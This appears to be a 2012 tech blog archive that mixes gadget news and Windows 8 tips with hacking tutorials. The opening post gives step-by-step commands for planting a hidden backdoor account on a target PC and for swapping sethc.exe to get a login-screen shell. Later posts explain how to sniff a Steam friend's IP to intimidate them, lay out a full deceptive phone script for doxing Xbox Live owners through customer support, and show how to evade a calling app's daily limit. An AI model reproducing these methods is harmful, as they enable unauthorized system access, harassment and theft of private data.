31 August, 2012

Creating Backdoor in Windows

Warning: This trick may not Work on Windows Vista or 7. But it sure does work on XP.

First of all, I'll teach you how to create a Hidden Account in Windows using "Net User" command. Every Windows XP has a built in "HelpAssistant" account which has no use at all. If we delete this account and create another invisible account with the same name, we will reduce suspicion.

1) Got to run and type 'cmd' to open the Command Prompt.
2) Type "net user HelpAssistant /delete" to delete the default account.
3) Now, type "net user HelpAssistant /add" to add the backdoor.
4) Type "net user HelpAssistant <desired password>" to add a password to your backdoor.
5) Then type "net localgroup users HelpAssistant /delete" to delete HelpAssistant from 'LocalUsers' group and thereby make it hidden.


[Image: ALoYa.png]

Congratulations, you have successfully created a backdoor on your target PC. One great advantage of this method is that if a system administrator checks all the Accounts on the PC using "net user" command, he won't get suspicious seeing the 'HelpAssistant' user.

Ok, now that you have created a Hidden account, to log in to the account, just press "Ctrl + Alt + Delete + Delete" when you reach the Welcome Screen and simply log in to the backdoor.

So, if you get a command prompt on windows, you can create a backdoor. But, what if you could get a command prompt on the Windows Welcome Screen (a.k.a Login Screen) itself?

It you press shift key 5 times, the Sticky Key dialog box will pop up. This is because 'sethc.exe' gets executed. The good news is that it gets executed even at the welcome screen. We can exploit this to get access to Command Prompt at the welcome screen.

1) You'll have to boot from a live CD or something and access the windows filesystem, particularly 'system32' folder.
2) Locate the 'sethc.exe' in 'C:\Windows\system32' and rename it to 'sethc.bak' for backup purposes.
3) Copy 'cmd.exe' to another location, rename it to 'sethc.exe'and copy it back to the 'system32' folder.

After this you can hit the Shift Key 5 times on the Welcome Screen and will get the Command Prompt right there. Net User command can be used to modify User Accounts thereafter.

Conclusion: If you could somehow replace one file in system32, you can compromise the whole system.

Tip:
To run 'net user commands on Vista and 7, go to start and type 'CMD'. Richt Click 'CMD' and click on 'Run a Administrator'.

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30 August, 2012

How to get IP addresses from the steam client

Download the programs.

  1. http://www.tamos.com/bitrix/redirect.php...es/cv6.zip
  2. http://storefront.steampowered.com/downl...nstall.msi


Install both programs, if you already have steam installed no need to re-install.

Step 2: Getting the IP

Right click the steam client windows at the bottom of the screen, click friends and chose which friend who's ip you want.
 Then open Comm View and click start at the top, send a random message to your friend to initialize voice chat. 

A bunch of ip's will show up, if voice is running you will see ins and outs. 

Right click, chose copy then remote ip and then go to http://www.ip-adress.com/ip_tracer/ and put in the IP
address of your slave. 

Now you can either scare the shit out of him with the information or do whatever you wish.

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26 August, 2012

First Impressions: Samsung Galaxy Note 800

Samsung has launched the Galaxy Note 10.1 in India, slightly rebadged as the Galaxy Note 800. We had a chance to play with the device at the launch event, and here are some initial observations about Samsung’s new flagship tablet.

1. Yes, the Galaxy Note 800 has an all plastic build. There are those who have criticized it saying that an expensive tablet like this needs more metal on the exterior. Alternatively, there are those who support that by claiming that it is the weight that needs to be kept in check. However, our question to Samsung is very simple – how will the customers on the shop floor decipher any comparisons between this and let us say the Apple iPad (read our review) or even something like an Asus Transformer Prime (read our review)? After all, the Note 800 has been priced at Rs. 39,990.

2. It is interesting to note (pun unintended) that the Galaxy Note 800 looks very similar to the previous 10.1-inch tablet from Samsung, the Tab 750. We had said back then that while the material used is plastic, it has been put together well. Something similar can be said for the Galaxy Note. However, Samsung could have done a bit better with the way the materials were put together, particularly the rear panel that does have some flex in it.

3. The 10.1-inch display has a resolution of 1280 x 800 pixels. The quality, even under pretty bright spotlights, was excellent. Yes, it has certain reflective tendencies, but is a very bright display, so that is pretty much taken care of. Colour reproduction is brilliant, and the crispness stares at you in the face!

4. Speaking of crispness, the S Pen feature works very well on this rather precise display. Preloaded are S Pen compatible apps like S Note, Adobe Photoshop and Polaris Office. The S Note app that we had a chance to use for a while allows for even a new user to get used to the experience – multiple templates that you can start with, or a blank note that you can start sketching on. Within the app, you have multiple nifty features – formulas can be deciphered via an online search via Wolfram Alpha or even make any drawings like a square or a circle straighten out to look like a professional drawing!
We will have a video of the detailed demo of the S-Pen on our website very soon. We can assure you that the demo will show some very interesting features and implementations of the Pen feature.

5. The Galaxy Note 800’s interface is something that we have grown quite used to with Samsung devices, and full marks for the familiarity bit. The TouchWiz UI has been redone for the bigger screen, allowing for multiple side by side widgets, but the range of the widgets will be similar to what we saw in the Galaxy S III (read our review), with the additional S Pen app widgets.


This is the Galaxy Note 800, front on, in landscape mode. This device is meant for use in landscape mode, as you can notice with the logo placement as well as where the front facing cameras are. On the two sides – the silver borders, if you may, are where the speakers are placed. Usually, speakers are on the rear panel, but this will give a more up-close feel to any audio played back on the device.


These are the specs of the Galaxy Note 800. A quad-core 1.4GHz Exynos 4412 processor and 2GB of RAM power it. We had been saying for quite a while now that any device with a quad core processor deserves at least 2GB of RAM to fully realize its potential. Probably, this is why this can multi-task so well. You can have an HD video playing in a smaller window on one edge of the screen, while you can continue opening and working on any other app without any stutter.



The TouchWiz UI is a very similar to the one we saw on the Galaxy S III. The variety of widgets is very similar as well, with the wider display allowing for more side-by-side widgets.


The Galaxy Note 800’s app drawer has the look we have seen traditionally on Android ICS tablets. There are the tabs for the apps and the widgets, and the app list has the horizontal scrolling nature.



 As it rightly should, the Galaxy Note 800 comes with Android ICS out of the box – Version 4.0.4 to be precise. No info yet on the Android Jelly Bean update, but we expect this tablet to be somewhere near the top of the list of devices getting the updates.


We had seen this tap-to-open dock on the earlier Galaxy tablets as well, and that has been carried forward to the Note 800 as well.



 
If you are using the Galaxy Note 800 in landscape mode, then the power key, volume rocker, card slot as well as the SIM card slot will be on the top spine.


 
The rear of the Galaxy Note 800 has an enamel white finish, slightly shiny but will not catch smudges or fingerprints.


 
This is the S-Pen, about to get into action with the S Note application.


 
The Galaxy Note 800’s an extremely slim tablet - you can see that the pencil is faring slightly worse in this comparison!


 
The Galaxy Note 800’s slide up notification bar, traditional way Android ICS handles notifications. 


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New iPhone not expected to slow Android growth


Google's Android operating system will continue to dominate the smartphone market, growing its lead by 10 percent in the second half of the year despite the upcoming iPhone 5 launch, according to a new report from Digitimes Research, the analyst arm of daily trade paper Digitimes.
Android already leads the market, accounting for approximately 60 percent of all smartphone shipments in the first half of 2012. But even with the forthcoming launch of the next-generation iPhone, Android market share is expected to grow to 70 percent of the global market in the second half of the year, Digitimes Research senior analyst Luke Lin estimated.
Contributing to its growth, several major Android handset vendors like Samsung, Huawei, and ZTE are starting to increase shipments, while second-tier and regional vendors are "aggressively" launching new entry-level Android handsets in China, Lin said.
Android will, however, likely see a "rather weak" year-over-year shipment growth rate in 2012 due to of its strong shipments of 224 million units in 2011. Meanwhile, Nokia and Microsoft's aggressive promotion of Lumia $49.99 at AT&T Windows Phones may be paying off. Windows Phone shipments are expected to more than double year over year to an estimated 21 million units overall in 2012.
Shipments of Apple's iPhone are expected to surpass 125 million units in 2012 compared to 93 million units in 2011. Lin estimated that the iPhone will see year-over-year growth of less than 50 percent, lower than it's been in the past two years.
However, with new iPhone hysteria is in full swing, several analysts have predicted that it could be the biggest debut Apple has ever seen.

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10 ways to customize Windows 8

Microsoft's operating system isn’t even fully released yet, but we've already got plenty to go on with Windows 8 Release Preview (and, if you're a developer, Windows 8 RTM) to have a good idea about the many ways the new OS can be dolled up. In fact, one of the standout revelations of RTM was the new "tattoos" that can add personalized flourishes to your Start screen background.
The new tattoos are only the latest additions to the many personalizations Windows 8 already boasted in previous pre-releases. In fact, the very first choice in Windows 8's PC settings page is "Personalize," where you can make the lock screen, your account picture, and start screen reflect your own style.
Windows 8 also inherits many of the customization options that were available in Windows 7—in the newer OS's desktop mode. Not only can you choose a desktop background, screensaver, and system sounds, but you can also take advantage of downloadable Themes, including some that are dynamically updated throughout the day. And you can now sync your customizations among all Windows 8 PCs you sign into.
There are even already some third-party tools that offer Windows 8 customizations, but since there's so much you can do with nothing but the OS's built-in tools, this collection will concentrate on just those. If you haven't already downloaded the Windows 8 Release Preview, you can do so and install it on any computer capable of running Windows 7. For a complete look at what's new in the OS, read our Hands On With Windows 8 RTM.

1. Lock Screen Picture
 
1. Lock Screen Picture
 
The first thing you see when you power up your Windows 8 PC or tablet is the lock screen. This is a familiar concept for smartphone users, but it's a new one for PCs. Let the first thing you see be something you love. Windows 8 RTM has six cool choices for this. The default is a Seattle scene showing the Space Needle a mountain, and a green hill. The other contrasting and appealing options include a honeycomb, a nautilus, a piano keyboard, train tracks in a city, and prisms of color. To get to this option, simply choose the Settings charm from the Start screen, Change PC settings, Personalize, and then Lock screen.
 
2. Lock Screen Apps
 
2. Lock Screen Apps
 
The lock screen isn't just a static picture waiting for you to log in: In addition to indicating battery level and the date and time, it can display useful information such as the number of email messages awaiting you, the current weather, and calendar appointments and reminders. Not only built-in apps have the ability to display pithy information on the lock screen, but third-party apps like Twitter clients and messaging apps can, too. You can also specify an app that will display detailed status on the lock screen. The only default choices for this in RTM were Weather and Calendar.
 
3. Start Screen Color and Tattoos
 
3. Start Screen Color and Tattoos
 
From its first pre-release version, Windows 8 offered a few background and foreground color combinations for the Start screen, and this is the first choice you make on your first run of the OS after installation. With Release Preview, Windows 8 offers 25 different color combinations for your Start screen—enough for every taste. Note your color choice also affects the charms, your tattoo choice, and even the Windows logo itself, which has been redesigned to be color-agnostic.

Prior to the arrival of Windows 8 RTM, you could grace the background of your Start screen tiles with a few mild patterns, but with RTM, the choices for these "tattoos" exploded into phantasmagorias of design and color. The milder options are still available, but now you have 20 total tattoos to choose from, with some real doozies among them, some sporting flowers, planets, gears, guitars, or creatures. The selection could now truly be considered artistic. To get to this option, simply choose the Settings charm from the Start screen, Change PC settings, Personalize, and then Start screen.
 
4. Tile Sizes
 
4. Tile Sizes
 
One of the first things you'll notice on the Windows 8 Start screen is that some of the app tiles are twice as wide as others. Don't agree with the default sizes? No problem. Just right-click on a tile (or hold your finger on it and drag up or down if your using a touchscreen), to display the tile options. If the tile is the larger size, you'll see a "Smaller" button, and vice versa for a large tile. Other choices here include unpinning the tile from the start menu, uninstalling the app, and turning off its live updates.
 
5. Group and Re-arrange Tiles
 
5. Group and Re-arrange Tiles
 
There are plenty of ways to arrange your Start screen tiles to taste: Simply click and drag a tile to change its position on the screen (or hold and drag on a touchscreen). For more global changes, you can pinch to zoom out (or Ctrl-mouse wheel), making your whole screen shrink, with all tiles on multiple screens visible. From this view, you can move and even name groups of tiles.
 
6. Account Picture
 
6. Account Picture
 
In Windows 8, your user picture is always starting up at you from your login screen and from the top-right of the start screen. Why not have a good one? From the PC Settings/Personalize page's Account picture tab, you can either shoot a photo from the PC's built-in webcam, or choose any image file in a folder on the PC.
 
7. Customize Your Default Apps
 
7. Customize Your Default Apps
 
Microsoft's incipient operating system comes with several new-style apps, which you can modify to your own needs and interests. Four in particular lend themselves to customization—News, Finance, Sports, and Weather (of course). As with most new-style Windows 8 apps, you get to the customizations by right clicking on the program's running screen, or, if you're using a touchscreen, by swiping in from the top or up from the bottom of the display. With any of these apps, you can pin a particular set of content to the Start screen, rather than just the general app. For example, in the Sports app, you can pin a version just for your favorite team.

8. Notifications
 
8. Notifications
 
Windows 8 features new "toast" notifications that appear temporarily at top-right when an app or the system has a message for you: For example, an app has successfully been installed, or you've received and instant message. From the Settings Charm, choose Change PC settings, then Notifications. From this settings page, you can turn on and off notifications from every app capable of sending them, or turn all off at once. You can also mute the notification sound if you prefer.
9. Desktop background
 
9. Desktop background
 
A fair portion of the desktop customizations that existed under Windows 7 remain in Windows 8's desktop mode. You can change the background (aka "wallpaper"), color, sounds, and screensaver. There are still Themes, including some with live-updated RSS themes (the ones featuring the wonderful daily Bing photos are favorites). What's new are that your theme choices here can be synced with any other Windows 8 PC you log into.
 
10. Taskbar Options
 
10. Taskbar Options
 
The Windows 8 desktop taskbar has been flattened—no more 3D translucent Aero look and feel—but you can still do a lot to customize it. Just right click on the taskbar, and choose Properties. Nearly all of the old reliable Windows 7 options are still available. You can change its position from the bottom to the top or either side, auto-hide it, change to small buttons, and uncombined a program's windows. You can even add toolbars to the taskbar for addresses, links, the touch keyboard, or for Desktop. This last one will be of great interest to those who lament the loss of the dear departed Start Button—it gives access to not only any desktop icons, but also Libraries, My Computer, Control Panel, and more.

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25 August, 2012

Microsoft's New Logo Draws More Slaps than Claps


Microsoft's move to shed its Darth Vader logo of 25 years for a more friendly company brand appears to be attracting more stings than congrats.
Redmond raised the curtain on its new corporate crest on Thursday. The new logo has the familiar four color squares arranged in a two-by-two matrix found in past versions of the Windows logo and the word Microsoft in a lightweight, sans serif font called Segoe.
As is the case in design changes for anything—be it a magazine, a software interface or website—Microsoft's move was a magnet for passionate comments.
"Would someone please call the branding police and have them arrest Microsoft's entire executive team," Joe Wilcox declares in Betanews. "The charge: Indecent logo."
"I'm all for a brave new look, except there's little brave or memorable about this one," he adds. "Apple should call a holiday and give out champagne to celebrate. This is one big branding frak up."
Branding blogger Armin Vit, though, maintains that Microsoft got its redesign right. In his Brand New blog, he praises the use in the new logo of the four color squares cribbed from past Windows emblems but deserted in the new branding for Windows 8. That redesign also had its share of critics.
"Microsoft’s 1987 logo, and its earlier iterations, have that World-Domination-Consumers-Are-Our-Minions attitude to them that was the norm for corporations that did indeed [want] to dominate the world," Vit writes.
"[W]e all hate those kind of companies now and is the main reason why pretty much every company in the Fortune 100 has switched from logos that use big, bold, all-uppercase wordmarks to friendly, approachable, light, all-lowercase wordmarks you would want to share a beer with," he adds.
"It’s also smart," he continued, "because the Windows logo has probably more recognition than the corporate logo as it has sat in billions of personal computers since 1995."
Even Vit acknowledges, though, "There is absolutely nothing wrong with this logo but there is also nothing absolutely exciting about it."
Nor is there anything distinctive about it either, according to Sagi Haviv, whose design credits include logos for the Library of Congress and Armani Exchange. "It needs to be unusual enough to persist in the mind," he tells Mashable. "Those four squares —it's very inert. It just sits there. It has no motion, no tension—it's not dynamic in any way."
A similar verdict was handed down by Terry Heckler, founder of Heckler Associates, a branding firm in Seattle. "It's awfully bland, particularly if you saw it in one color," he tells the Seattle Times.
As much as an improvement the new logo may be compared to the old one, there's still something unsettling about it, Chris Matyszczyk notes in his Technically Incorrect column.
"Yes, it's a welcome change from the blocky italic that leaned into you like a henchman and gruffed: 'You'll buy my product, whether you like it or not.'" he writes. "Yes, it suggests that the company wants you to see it as more human, more modern and more willing to be welcoming. And yet, my own impression was that there is still something a little too cold, a little too calculated about this new design...."

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19 August, 2012

Airtel Digital Set Top Box Update

How to Update ADTV STB Software Manually:
 
*First switch on your TV. Then your Digital TV set top box.


*It should be strictly followed. First TV. Then STB.


*Now you will see a notification on the TV Screen as like 'Please wait Initializing..'
Don't wait now. Immediately press exit button on ADTV remote twice.


*Now press 2465 immediately from our ADTV Remote controller.


*Then Downloading process will start. The screen shots are given below for Reference.



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18 August, 2012

Free Unlimited National Calling for PC Users And Android User

Things you need to be download

1 BlueStacks HD AppPlayer Pro (This is an Emulator for Android Application for Windows)

2 CrowdCall 1.0.15 (Direct Link) (This is an Android App which allow you to call other).

Facilities with CrowdCall

1]FREE group/conference calls with people in the US, Canada and over 40 other countries. Super low cost to the rest of the world.

2]Calls are instant - no Signup, no Dial-in number and no PIN number to remember - press the call button and everyone's phone rings and they are connected.

3]With CrowdCall you have group/conference calls with anyone who has a phone number. They don't need to have the app to participate in a CrowdCall - they don't even need a mobile phone!

Instructions:

1] Download BlueStacks HD AppPlayer Pro and CrowdCall 1.0.15

2] Install BlueStacks HD AppPlayer Pro and start the AppPlayer by opening Start BlueStacks from desktop or start menu.

3] Now double click on CrowdCall_1.0.15.apk and install it.

4] Now you can see CrowdCall icon on the main screen of BlueStacks HD AppPlayer.

5] Go to settings of BlueStacks HD AppPlayer from bottom right corner and Change App Size of CrowdCall to Tablet

6] Now come to home screen and open CrowdCall.

7] From the first screen select your country and enter your mobile number and press OK.

8] Now Close BlueStacks HD AppPlayer window. And Quit BlueStacks HD AppPlayer from TaskBar also.

9] First of all make sure that BlueStacks HD AppPlayer is completely closed.

10] Now go to C:\ProgramData\BlueStacks\Android and copy Data.fs file to safe place as Back Up.

11] Now feel free to call anyone. Once you get warning of Reached Daily Limit. Just Replace C:\ProgramData\BlueStacks\Android\Data.fs with the back upped Data.fs.

12] By replacing file you're resetting the BlueStacks HD AppPlayer.

13] Now start calling and have fun as much as you want. No need to reinstall BlueStacks HD AppPlayer ever again.

Caution: The Size of Data.fs is 2.00 GB. So keep it safe. It makes your effort and time 95% less.

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How to Dox/jak xbox live accounts [TUT] explained well *must see*

How to dox an Xbox Live account

Disclaimer: I have no involvement in what you do with this eBook. I am not saying doxing accounts is a good thing, I am only trying to make my name on here and help the hf community. During this eBook you will be discovering how to gain someone’s personal information via Xbox Customer Support. (UK/US/CA/AUS).

So let’s get started!

Microsoft PC Support: +18667272338
Xbox LIVE Support (United Kingdom): +4408005871102
Xbox LIVE Support (United States): +18004699269

What you are actually going to be doing?
During this eBook you are going to be learning a very valuable skill. You are going to be learning how to dox an Xbox LIVE account via Xbox Customer Support. Throughout this tutorial you are going to be learning what to do and what not to do. It’s always best to learn about some of the stuff in this tutorial before you actually go and perform it. You are going to need a reference number from Xbox Customer Support (this will be explained further into the eBook). This is probably the most important part of this entire eBook as it is the key to getting a successful dox.

Step 1: Getting a working reference number.
From reading above, you will probably have learnt the importance of a reference number. This is probably the hardest thing to do without the entire eBook. You need to be careful as the representatives are sneaky and will just give you a non-working reference number. Therefore you need to get a fully working one. You may ask yourself how? This is how:

Conversation: (between you and the support representative, he/she’s colour will be in green your colour is red).

1/ Call Xbox Customer support (the correct number for your region) and hit the number two on the keypad five times. This is going to put you straight through to a support representative.

“Hello, thank you for calling Xbox Customer Support my name is Monster how may I help you?”

“Hello Monster, my name is (yourname) and I’ve been having some issues with a reference number that I received earlier from one of your colleagues.”

“Oh sorry (yourname) is it possible to get that reference number quickly? “

“Sorry no, I threw it away since it didn’t work.. I’m sorry I never knew I had to keep it.”

“That’s okay (yourname) what is the gamertag on the account?”

(Here you say what gamertag you are trying to dox..)

“The gamertag is (gamertag you are trying to dox)”

“Okay, just give me a second to pull that up.”

“Okay, thanks.”

“Okay, I’ve got the account. Can we go through a few verification steps if you don’t mind?”

“Yeah sure.”

“Okay then sir, what is the first name and email address on the account”

“Yes the email address is: randomemail@me.com and the name is ‘random’.

“Oh, I’m ever so sorry. I need to dash off back to a personal family meeting. Is there any way I can grab a new reference number, one that actually works?”

“Oh. Okay then sir, just give me a moment. (Here is where they are attaching a reference number to the account). Okay this is your reference number: (It should start with the numbers ‘115’ and is 10 – 15 digits long).

“(Repeat the reference number so they can confirm it) Thanks! I will definitely

Call back later, thanks for being such a great help (Dox)!”

“No problem sir, thanks for calling Xbox Customer Support and have a great day.”

Step 2: Using the reference number you just got from Xbox Customer Support.

Okay, so if you got this far, congratulations! You are one step closer to doxing an Xbox LIVE account. What you want to do is call Microsoft PC Support (number at the first page of the Book) and once you hear the robot on the phone; press the number one five times. This will put you straight through to a representative, you may be on hold for a while as they do get a lot of calls an hour. In the usual style of this eBook I will do a conversation log like normal. Just some tips for you here:

Give them the reference number and no name, so when they say (again green representative colour) “Hello, thank you for contacting Microsoft PC safety what is your case number and name please?” You just want to say the case number (reference number).

And you want to say “Hello, I was told to come here so I can make sure the information on my account is correct. As my brother made the account and he is recently deceased”. This will make them feel sympathetic towards you and they will try to make you happy.

Same colours as before, you are red and the support rep is green.

“Hello and welcome to Microsoft PC safety, what is your name and case number?”

“Hello and my case number is: (say your reference number)”

“Okay sir, what seems to be the problem?”

“I just need to verify the information on my account, as it used to be my brothers account but he is now deceased.”

“Okay sir, I’m sorry to hear that. What information would you like to verify?”

“I just need to make sure the name on the account has changed properly, as I called earlier to get it changed but I lost the connection with the representative.”

“Okay sir, just one moment.”

“Okay the name on the account is..”

Okay, the conversation above is recorded with a representative that doesn’t know the Microsoft policy. If you get one that does just put the phone down and keep calling. You will get it.

The representative that normally gives out information is called: Shackeel. By having the name of the account owner, you can put the phone down and call back. This way when you re-call you won’t have to do any verification steps, they will just hand the account information over.

Thanks for taking a look guys this took time thanks is much appreciated ENJOY !!! :)

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15 August, 2012

Sony Ericsson Xperia X8 Rooting



Who make life difficult rooting x8 eclair
metode2 before, I recommend
rootingnya using this method,
straight course, for his distinguished x8
ecalir not yet in
root, can directly use this method for
root ecalirnya,

How:

1.Download superoneclick (SOC): here
www.mediafire.com/?3d56derkga3do1u

2.x8 eclair (not at root)
==============================
Direct-only, after downloading SOC
extract up to where
SOC-open and run superoneclick
(Android logo image)
-After that plug into a PC telpon/x8
(Sdcard mount only)
After plug-in, click on the root
SOC software earlier,
-Wait a moment (usually sdcard
will mount unmount itself) until
it says device is rooted
X8-finished ..... now ecalir already
root, without complicated must downgrade
upgrade
first
===============================
NB: if when using the SOC is too long
(More than 10 minutes) just restart the PC
and
cellphone and try again ....
good luck

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14 August, 2012

Download Microsoft Office 2013 Now

icrosoft has just released the free preview version of the all new Microsoft Office 2013. You can now download Microsoft Office 2013 immediately on your computer to try it. Note that you will get a beta version of Microsoft Office 2013.

The biggest change in Microsoft Office 2013 is the look and feel of its interface. Instead of the traditional user interface (UI), it now uses the Metro UI, which is one of the new feature of the upcoming Windows 8. Although, unlike Windows 8, Office 2013 only has partial implementation of Metro UI.



Microsoft Office 2013 comes with a lot of new features, including a built-in PDF Editor. Now you can edit and create PDF files in Office 2013 without using any third party software. You can download the Microsoft Office 2013 using the links given below and try it yourself to find out what else is new.

If you have an uninterrupted internet connection, you can download and install Office 2013 from this link. You can also download full offline installer for Office 2013 from the following links to download and install Office 2013 without internet connection.


DOWNLOAD NOW BY URL BELOW:-

Full Setup For Microsoft Office 2013 Professional Plus 64Bit

Full Setup For Microsoft Office 2013 Professional Plus 32Bit

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12 August, 2012

Top 6 Upcoming Windows 8 Tablets in 2012

Here Are Top 6 Windows 8 Tablets to Launch in 2012  





****************************************************************************
____________________________________________________________________________


  :: Microsoft Surface Tablet ::




Microsoft has also unveiled two Surface tablets based on Windows 8 operating system.

One running an ARM processor featuring Windows RT,

and another one integrated with a third-generation Intel Core processor featuring Windows 8 Pro.


:::Features:::

* 10.6 inches (diagonal) with ClearType (Full) HD Display

* 0.37 inches thick size

* 676g (Windows RT version)

* Windows 8 RT

* Storage Up to 32GB, 64GB

* MicroSD, USB 2.0, Micro HD Video, 2&amp;amp;amp;amp;amp;amp;times;2 MiMO Antenne

* Nvidia Tegra 3 CPU

 





****************************************************************************
____________________________________________________________________________



  :: Acer Iconia W510 ::




The Iconia Tab W510 is a 10.1 inch tablet with a 295 degree angle view.
It has a tri-mode feature that  will allow users to touch, type and view.

Further, it has a detachable keyboard dock for optimal typing and

also powerful battery life of up to 18 hours.



::: Features :::

* A 10.1-inch, 1920-by-1080 resolution display

* LED-Backlit LCD

* Capacitive Multi-touch screen

* Intel ARM processor




****************************************************************************
____________________________________________________________________________



  ** HP Slate 8 **




HP admirers are glad as the company plans to prepare for the new Windows 8 Business tablet.

Currently the gadget is called HP Slate 8.

The tablet is expected to be thinner than Apple’s iPad with hefty specs,

which are yet to be revealed by the company.



::: Features :::

* 10.1 inch display screen

* Windows 8 professional OS

* Digital pin input

* Outdoor viewing option

* Weight of .68kg

* 9.2mm thin

* Good battery life of 8 to 10 hours

* Enterprise level docking

* Protect Tools software




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  ** Asus Tablet 600 **




It is definite that if Asus launches the Windows 8 tablet

it would be the best of the lot, as the company’s Asus Transformer and

 Asus Transformer Prime are considered the best Android tablets in the market. 

The tablet rumored to be launched by the company is Tablet 600,

which will come packed with an optional keyboard.

So it would suit the Windows 8 touch and more traditional desktop environments.


::: Features :::

* A 10.1-inch display screen enhanced by a Super IPS+ technology with 1366 x 768 pixels resolution

* A multi touch screen and an attachable QWERTY-type keyboard

* 8MP rear camera

* 2GB of RAM

* Extended with an eMMC flash storage of 32GB

* 4G LTE radio supplied by NVIDIA

* USB 2.0 connector

* Bluetooth 4.0

* WiFi connectivity

* powered by a quad core Tegra 3 SOC

* Nvidia 12-core GPU supports

 





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  ** Nokia Lumia tablet **




Nokia is said to prepping a new innovative concept —

Lumia tablet based on Windows 8 operating system.

Reportedly, Nokia has named the new concept as Coffee Tab.



::: Features:::

* 1.4GHz processor with excellent efficiency

* Good internal memory of 512MB

* Storage capacity which ranges from 16 to 32 to 64GB

* 9.7-inch Clear and black display screen with excellent dimension of 1280&amp;amp;amp;amp;amp;amp;times;800

* 8MP Rear camera with good clarity

* 2MP front facing camera with user friendly features

* Windows 8 tablet with innovative features

* 3G connectivity with WiFi facility






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  :: Lenovo ThinkPad 2: ::




Lenovo has made it official that the company will launch

their ThinkPad Tablet 2 featuring Windows 8 by as soon as October,

along with the launch of the latest OS.


::: Features:::

* A 10 inch wide display screen with 1366 x 768 resolution IPS display,

* Micro-HDMI capability

* Powered by Intel Atom processor

* A 10-hour battery,

* Optional 3G / 4G,

* Micro-HDMI output,

* A 2MP front-facing camera,

* A 8MP rear camera,

* NFC capabilities

* Slim 9.8mm thickness







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